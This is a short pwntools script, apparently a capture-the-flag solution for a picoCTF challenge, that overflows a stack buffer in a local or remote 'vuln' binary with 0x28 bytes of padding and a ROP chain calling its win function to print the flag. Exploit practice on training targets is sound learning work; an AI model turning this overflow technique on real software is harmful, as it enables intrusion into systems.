34 lines
662 B
Python
Executable File
34 lines
662 B
Python
Executable File
#!/usr/bin/env nix-shell
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#!nix-shell -i python3 -p "python3.withPackages (ppkgs: with ppkgs; [ pwntools ])"
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from pwn import *
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exe = ELF("./vuln")
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context.binary = exe
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ADDR, PORT, *_ = "mysterious-sea.picoctf.net 50726".split()
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def conn():
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if args.REMOTE:
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r = remote(ADDR, PORT)
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else:
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r = process([exe.path])
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return r
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def main():
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r = conn()
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r.recvuntil(b'Please enter your name: ').decode()
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offset = 0x28
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rop = ROP(exe)
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rop.raw(rop.generatePadding(0, offset))
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rop.win()
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r.sendline(rop.chain())
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print(r.recvline_contains(b'picoCTF').decode())
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r.close()
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if __name__ == "__main__":
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main()
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